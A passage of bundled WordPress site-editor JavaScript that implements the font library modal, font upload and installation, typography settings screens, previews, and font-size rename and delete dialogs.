      reader.onload = () => resolve(reader.result);
      reader.onerror = reject;
    });
  }
  const getFontFaceMetadata = async fontFile => {
    const buffer = await readFileAsArrayBuffer(fontFile);
    const fontObj = new Font('Uploaded Font');
    fontObj.fromDataBuffer(buffer, fontFile.name);
    // Assuming that fromDataBuffer triggers onload event and returning a Promise
    const onloadEvent = await new Promise(resolve => fontObj.onload = resolve);
    const font = onloadEvent.detail.font;
    const {
      name
    } = font.opentype.tables;
    const fontName = name.get(16) || name.get(1);
    const isItalic = name.get(2).toLowerCase().includes('italic');
    const fontWeight = font.opentype.tables['OS/2'].usWeightClass || 'normal';
    const isVariable = !!font.opentype.tables.fvar;
    const weightAxis = isVariable && font.opentype.tables.fvar.axes.find(({
      tag
    }) => tag === 'wght');
    const weightRange = weightAxis ? `${weightAxis.minValue} ${weightAxis.maxValue}` : null;
    return {
      file: fontFile,
      fontFamily: fontName,
      fontStyle: isItalic ? 'italic' : 'normal',
      fontWeight: weightRange || fontWeight
    };
  };

  /**
   * Creates the font family definition and sends it to the server
   *
   * @param {Array} fontFaces The font faces to be installed
   * @return {void}
   */
  const handleInstall = async fontFaces => {
    const fontFamilies = makeFamiliesFromFaces(fontFaces);
    try {
      await installFonts(fontFamilies);
      setNotice({
        type: 'success',
        message: (0,external_wp_i18n_namespaceObject.__)('Fonts were installed successfully.')
      });
    } catch (error) {
      setNotice({
        type: 'error',
        message: error.message,
        errors: error?.installationErrors
      });
    }
    setIsUploading(false);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "font-library-modal__tabpanel-layout",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, {
      onFilesDrop: handleDropZone
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: "font-library-modal__local-fonts",
      children: [notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Notice, {
        status: notice.type,
        __unstableHTML: true,
        onRemove: () => setNotice(null),
        children: [notice.message, notice.errors && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
          children: notice.errors.map((error, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
            children: error
          }, index))
        })]
      }), isUploading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "font-library-modal__upload-area",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {})
        })
      }), !isUploading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FormFileUpload, {
        accept: ALLOWED_FILE_EXTENSIONS.map(ext => `.${ext}`).join(','),
        multiple: true,
        onChange: onFilesUpload,
        render: ({
          openFileDialog
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          className: "font-library-modal__upload-area",
          onClick: openFileDialog,
          children: (0,external_wp_i18n_namespaceObject.__)('Upload font')
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
        margin: 2
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        className: "font-library-modal__upload-area__text",
        children: (0,external_wp_i18n_namespaceObject.__)('Uploaded fonts appear in your library and can be used in your theme. Supported formats: .ttf, .otf, .woff, and .woff2.')
      })]
    })]
  });
}
/* harmony default export */ const upload_fonts = (UploadFonts);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */






const {
  Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
const DEFAULT_TAB = {
  id: 'installed-fonts',
  title: (0,external_wp_i18n_namespaceObject._x)('Library', 'Font library')
};
const UPLOAD_TAB = {
  id: 'upload-fonts',
  title: (0,external_wp_i18n_namespaceObject._x)('Upload', 'noun')
};
const tabsFromCollections = collections => collections.map(({
  slug,
  name
}) => ({
  id: slug,
  title: collections.length === 1 && slug === 'google-fonts' ? (0,external_wp_i18n_namespaceObject.__)('Install Fonts') : name
}));
function FontLibraryModal({
  onRequestClose,
  defaultTabId = 'installed-fonts'
}) {
  const {
    collections
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const canUserCreate = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_coreData_namespaceObject.store).canUser('create', {
      kind: 'postType',
      name: 'wp_font_family'
    });
  }, []);
  const tabs = [DEFAULT_TAB];
  if (canUserCreate) {
    tabs.push(UPLOAD_TAB);
    tabs.push(...tabsFromCollections(collections || []));
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: (0,external_wp_i18n_namespaceObject.__)('Fonts'),
    onRequestClose: onRequestClose,
    isFullScreen: true,
    className: "font-library-modal",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs, {
      defaultTabId: defaultTabId,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "font-library-modal__tablist-container",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabList, {
          children: tabs.map(({
            id,
            title
          }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, {
            tabId: id,
            children: title
          }, id))
        })
      }), tabs.map(({
        id
      }) => {
        let contents;
        switch (id) {
          case 'upload-fonts':
            contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(upload_fonts, {});
            break;
          case 'installed-fonts':
            contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(installed_fonts, {});
            break;
          default:
            contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_collection, {
              slug: id
            });
        }
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabPanel, {
          tabId: id,
          focusable: false,
          children: contents
        }, id);
      })]
    })
  });
}
/* harmony default export */ const font_library_modal = (FontLibraryModal);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-family-item.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



function FontFamilyItem({
  font
}) {
  const {
    handleSetLibraryFontSelected,
    setModalTabOpen
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const variantsCount = font?.fontFace?.length || 1;
  const handleClick = () => {
    handleSetLibraryFontSelected(font);
    setModalTabOpen('installed-fonts');
  };
  const previewStyle = getFamilyPreviewStyle(font);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
    onClick: handleClick,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "space-between",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        style: previewStyle,
        children: font.name
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        className: "edit-site-global-styles-screen-typography__font-variants-count",
        children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: Number of font variants. */
        (0,external_wp_i18n_namespaceObject._n)('%d variant', '%d variants', variantsCount), variantsCount)
      })]
    })
  });
}
/* harmony default export */ const font_family_item = (FontFamilyItem);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-families.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */







const {
  useGlobalSetting: font_families_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

/**
 * Maps the fonts with the source, if available.
 *
 * @param {Array}  fonts  The fonts to map.
 * @param {string} source The source of the fonts.
 * @return {Array} The mapped fonts.
 */
function mapFontsWithSource(fonts, source) {
  return fonts ? fonts.map(f => setUIValuesNeeded(f, {
    source
  })) : [];
}
function FontFamilies() {
  const {
    baseCustomFonts,
    modalTabOpen,
    setModalTabOpen
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const [fontFamilies] = font_families_useGlobalSetting('typography.fontFamilies');
  const [baseFontFamilies] = font_families_useGlobalSetting('typography.fontFamilies', undefined, 'base');
  const themeFonts = mapFontsWithSource(fontFamilies?.theme, 'theme');
  const customFonts = mapFontsWithSource(fontFamilies?.custom, 'custom');
  const activeFonts = [...themeFonts, ...customFonts].sort((a, b) => a.name.localeCompare(b.name));
  const hasFonts = 0 < activeFonts.length;
  const hasInstalledFonts = hasFonts || baseFontFamilies?.theme?.length > 0 || baseCustomFonts?.length > 0;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [!!modalTabOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_library_modal, {
      onRequestClose: () => setModalTabOpen(null),
      defaultTabId: modalTabOpen
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 2,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "space-between",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
          level: 3,
          children: (0,external_wp_i18n_namespaceObject.__)('Fonts')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          onClick: () => setModalTabOpen('installed-fonts'),
          label: (0,external_wp_i18n_namespaceObject.__)('Manage fonts'),
          icon: library_settings,
          size: "small"
        })]
      }), activeFonts.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
          size: "large",
          isBordered: true,
          isSeparated: true,
          children: activeFonts.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_family_item, {
            font: font
          }, font.slug))
        })
      }), !hasFonts && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          as: "p",
          children: hasInstalledFonts ? (0,external_wp_i18n_namespaceObject.__)('No fonts activated.') : (0,external_wp_i18n_namespaceObject.__)('No fonts installed.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          className: "edit-site-global-styles-font-families__manage-fonts",
          variant: "secondary",
          __next40pxDefaultSize: true,
          onClick: () => {
            setModalTabOpen(hasInstalledFonts ? 'installed-fonts' : 'upload-fonts');
          },
          children: hasInstalledFonts ? (0,external_wp_i18n_namespaceObject.__)('Manage fonts') : (0,external_wp_i18n_namespaceObject.__)('Add fonts')
        })]
      })]
    })]
  });
}
/* harmony default export */ const font_families = (({
  ...props
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(context, {
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontFamilies, {
    ...props
  })
}));

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-typography.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */






function ScreenTypography() {
  const fontLibraryEnabled = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_editor_namespaceObject.store).getEditorSettings().fontLibraryEnabled, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Typography'),
      description: (0,external_wp_i18n_namespaceObject.__)('Available fonts, typographic styles, and the application of those styles.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-screen",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 7,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyVariations, {
          title: (0,external_wp_i18n_namespaceObject.__)('Typesets')
        }), fontLibraryEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_families, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(typography_elements, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_count, {})]
      })
    })]
  });
}
/* harmony default export */ const screen_typography = (ScreenTypography);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-panel.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const {
  useGlobalStyle: typography_panel_useGlobalStyle,
  useGlobalSetting: typography_panel_useGlobalSetting,
  useSettingsForBlockElement: typography_panel_useSettingsForBlockElement,
  TypographyPanel: typography_panel_StylesTypographyPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function TypographyPanel({
  element,
  headingLevel
}) {
  let prefixParts = [];
  if (element === 'heading') {
    prefixParts = prefixParts.concat(['elements', headingLevel]);
  } else if (element && element !== 'text') {
    prefixParts = prefixParts.concat(['elements', element]);
  }
  const prefix = prefixParts.join('.');
  const [style] = typography_panel_useGlobalStyle(prefix, undefined, 'user', {
    shouldDecodeEncode: false
  });
  const [inheritedStyle, setStyle] = typography_panel_useGlobalStyle(prefix, undefined, 'all', {
    shouldDecodeEncode: false
  });
  const [rawSettings] = typography_panel_useGlobalSetting('');
  const usedElement = element === 'heading' ? headingLevel : element;
  const settings = typography_panel_useSettingsForBlockElement(rawSettings, undefined, usedElement);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(typography_panel_StylesTypographyPanel, {
    inheritedValue: inheritedStyle,
    value: style,
    onChange: setStyle,
    settings: settings
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-preview.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const {
  useGlobalStyle: typography_preview_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function TypographyPreview({
  name,
  element,
  headingLevel
}) {
  var _ref;
  let prefix = '';
  if (element === 'heading') {
    prefix = `elements.${headingLevel}.`;
  } else if (element && element !== 'text') {
    prefix = `elements.${element}.`;
  }
  const [fontFamily] = typography_preview_useGlobalStyle(prefix + 'typography.fontFamily', name);
  const [gradientValue] = typography_preview_useGlobalStyle(prefix + 'color.gradient', name);
  const [backgroundColor] = typography_preview_useGlobalStyle(prefix + 'color.background', name);
  const [fallbackBackgroundColor] = typography_preview_useGlobalStyle('color.background');
  const [color] = typography_preview_useGlobalStyle(prefix + 'color.text', name);
  const [fontSize] = typography_preview_useGlobalStyle(prefix + 'typography.fontSize', name);
  const [fontStyle] = typography_preview_useGlobalStyle(prefix + 'typography.fontStyle', name);
  const [fontWeight] = typography_preview_useGlobalStyle(prefix + 'typography.fontWeight', name);
  const [letterSpacing] = typography_preview_useGlobalStyle(prefix + 'typography.letterSpacing', name);
  const extraStyles = element === 'link' ? {
    textDecoration: 'underline'
  } : {};
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-typography-preview",
    style: {
      fontFamily: fontFamily !== null && fontFamily !== void 0 ? fontFamily : 'serif',
      background: (_ref = gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor) !== null && _ref !== void 0 ? _ref : fallbackBackgroundColor,
      color,
      fontSize,
      fontStyle,
      fontWeight,
      letterSpacing,
      ...extraStyles
    },
    children: "Aa"
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-typography-element.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




const screen_typography_element_elements = {
  text: {
    description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts used on the site.'),
    title: (0,external_wp_i18n_namespaceObject.__)('Text')
  },
  link: {
    description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on the links.'),
    title: (0,external_wp_i18n_namespaceObject.__)('Links')
  },
  heading: {
    description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on headings.'),
    title: (0,external_wp_i18n_namespaceObject.__)('Headings')
  },
  caption: {
    description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on captions.'),
    title: (0,external_wp_i18n_namespaceObject.__)('Captions')
  },
  button: {
    description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on buttons.'),
    title: (0,external_wp_i18n_namespaceObject.__)('Buttons')
  }
};
function ScreenTypographyElement({
  element
}) {
  const [headingLevel, setHeadingLevel] = (0,external_wp_element_namespaceObject.useState)('heading');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: screen_typography_element_elements[element].title,
      description: screen_typography_element_elements[element].description
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
      marginX: 4,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyPreview, {
        element: element,
        headingLevel: headingLevel
      })
    }), element === 'heading' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
      marginX: 4,
      marginBottom: "1em",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
        label: (0,external_wp_i18n_namespaceObject.__)('Select heading level'),
        hideLabelFromVision: true,
        value: headingLevel,
        onChange: setHeadingLevel,
        isBlock: true,
        size: "__unstable-large",
        __nextHasNoMarginBottom: true,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "heading",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('All headings'),
          label: (0,external_wp_i18n_namespaceObject._x)('All', 'heading levels')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "h1",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 1'),
          label: (0,external_wp_i18n_namespaceObject.__)('H1')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "h2",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 2'),
          label: (0,external_wp_i18n_namespaceObject.__)('H2')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "h3",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 3'),
          label: (0,external_wp_i18n_namespaceObject.__)('H3')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "h4",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 4'),
          label: (0,external_wp_i18n_namespaceObject.__)('H4')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "h5",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 5'),
          label: (0,external_wp_i18n_namespaceObject.__)('H5')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
          value: "h6",
          showTooltip: true,
          "aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 6'),
          label: (0,external_wp_i18n_namespaceObject.__)('H6')
        })]
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyPanel, {
      element: element,
      headingLevel: headingLevel
    })]
  });
}
/* harmony default export */ const screen_typography_element = (ScreenTypographyElement);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-size-preview.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


const {
  useGlobalStyle: font_size_preview_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function FontSizePreview({
  fontSize
}) {
  var _font$fontFamily;
  const [font] = font_size_preview_useGlobalStyle('typography');
  const input = fontSize?.fluid?.min && fontSize?.fluid?.max ? {
    minimumFontSize: fontSize.fluid.min,
    maximumFontSize: fontSize.fluid.max
  } : {
    fontSize: fontSize.size
  };
  const computedFontSize = (0,external_wp_blockEditor_namespaceObject.getComputedFluidTypographyValue)(input);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-typography-preview",
    style: {
      fontSize: computedFontSize,
      fontFamily: (_font$fontFamily = font?.fontFamily) !== null && _font$fontFamily !== void 0 ? _font$fontFamily : 'serif'
    },
    children: (0,external_wp_i18n_namespaceObject.__)('Aa')
  });
}
/* harmony default export */ const font_size_preview = (FontSizePreview);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/confirm-delete-font-size-dialog.js
/**
 * WordPress dependencies
 */



function ConfirmDeleteFontSizeDialog({
  fontSize,
  isOpen,
  toggleOpen,
  handleRemoveFontSize
}) {
  const handleConfirm = async () => {
    toggleOpen();
    handleRemoveFontSize(fontSize);
  };
  const handleCancel = () => {
    toggleOpen();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
    isOpen: isOpen,
    cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
    confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
    onCancel: handleCancel,
    onConfirm: handleConfirm,
    size: "medium",
    children: fontSize && (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the font size preset. */
    (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete "%s" font size preset?'), fontSize.name)
  });
}
/* harmony default export */ const confirm_delete_font_size_dialog = (ConfirmDeleteFontSizeDialog);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/rename-font-size-dialog.js
/**
 * WordPress dependencies
 */




function RenameFontSizeDialog({
  fontSize,
  toggleOpen,
  handleRename
}) {
  const [newName, setNewName] = (0,external_wp_element_namespaceObject.useState)(fontSize.name);
  const handleConfirm = () => {
    // If the new name is not empty, call the handleRename function
    if (newName.trim()) {
      handleRename(newName);
    }
    toggleOpen();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    onRequestClose: toggleOpen,
    focusOnMount: "firstContentElement",
    title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
    size: "small",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
      onSubmit: event => {
        event.preventDefault();
        handleConfirm();
        toggleOpen();
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "3",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
          __next40pxDefaultSize: true,
          autoComplete: "off",
          value: newName,
          onChange: setNewName,
          label: (0,external_wp_i18n_namespaceObject.__)('Name'),
          placeholder: (0,external_wp_i18n_namespaceObject.__)('Font size preset name')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          justify: "right",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "tertiary",
            onClick: toggleOpen,
            children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "primary",
            type: "submit",
            children: (0,external_wp_i18n_namespaceObject.__)('Save')
          })]
        })]
      })
    })
  });
}
/* harmony default export */ const rename_font_size_dialog = (RenameFontSizeDialog);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/size-control/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


const DEFAULT_UNITS = ['px', 'em', 'rem', 'vw', 'vh'];
function SizeControl({
  // Do not allow manipulation of margin bottom
  __nextHasNoMarginBottom,
  ...props
}) {
  const {
    baseControlProps
  } = (0,external_wp_components_namespaceObject.useBaseControlProps)(props);
  const {
    value,
    onChange,
    fallbackValue,
    disabled,
    label
  } = props;
  const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
    availableUnits: DEFAULT_UNITS
  });
  const [valueQuantity, valueUnit = 'px'] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value, units);
  const isValueUnitRelative = !!valueUnit && ['em', 'rem', 'vw', 'vh'].includes(valueUnit);

  // Receives the new value from the UnitControl component as a string containing the value and unit.
  const handleUnitControlChange = newValue => {
    onChange(newValue);
  };

  // Receives the new value from the RangeControl component as a number.
  const handleRangeControlChange = newValue => {
    onChange?.(newValue + valueUnit);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl, {
    ...baseControlProps,
    __nextHasNoMarginBottom: true,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        isBlock: true,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalUnitControl, {
          __next40pxDefaultSize: true,
          __nextHasNoMarginBottom: true,
          label: label,
          hideLabelFromVision: true,
          value: value,
          onChange: handleUnitControlChange,
          units: units,
          min: 0,
          disabled: disabled
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        isBlock: true,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          marginX: 2,
          marginBottom: 0,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RangeControl, {
            __next40pxDefaultSize: true,
            __nextHasNoMarginBottom: true,
            label: label,
            hideLabelFromVision: true,
            value: valueQuantity,
            initialPosition: fallbackValue,
            withInputField: false,
            onChange: handleRangeControlChange,
            min: 0,
            max: isValueUnitRelative ? 10 : 100,
            step: isValueUnitRelative ? 0.1 : 1,
            disabled: disabled
          })
        })
      })]
    })
  });
}
/* harmony default export */ const size_control = (SizeControl);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-size.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */







const {
  Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const {
  useGlobalSetting: font_size_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function FontSize() {
  var _fontSizes$origin;
  const [isDeleteConfirmOpen, setIsDeleteConfirmOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const [isRenameDialogOpen, setIsRenameDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    params: {
      origin,
      slug
    },
    goBack
  } = (0,external_wp_components_namespaceObject.useNavigator)();
  const [fontSizes, setFontSizes] = font_size_useGlobalSetting('typography.fontSizes');
  const [globalFluid] = font_size_useGlobalSetting('typography.fluid');

  // Get the font sizes from the origin, default to empty array.
  const sizes = (_fontSizes$origin = fontSizes[origin]) !== null && _fontSizes$origin !== void 0 ? _fontSizes$origin : [];

  // Get the font size by slug.
  const fontSize = sizes.find(size => size.slug === slug);

  // Navigate to the font sizes list if the font size is not available.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!!slug && !fontSize) {
      goBack();
    }
  }, [slug, fontSize, goBack]);
  if (!origin || !slug || !fontSize) {
    return null;
  }

  // Whether the font size is fluid. If not defined, use the global fluid value of the theme.
  const isFluid = fontSize?.fluid !== undefined ? !!fontSize.fluid : !!globalFluid;

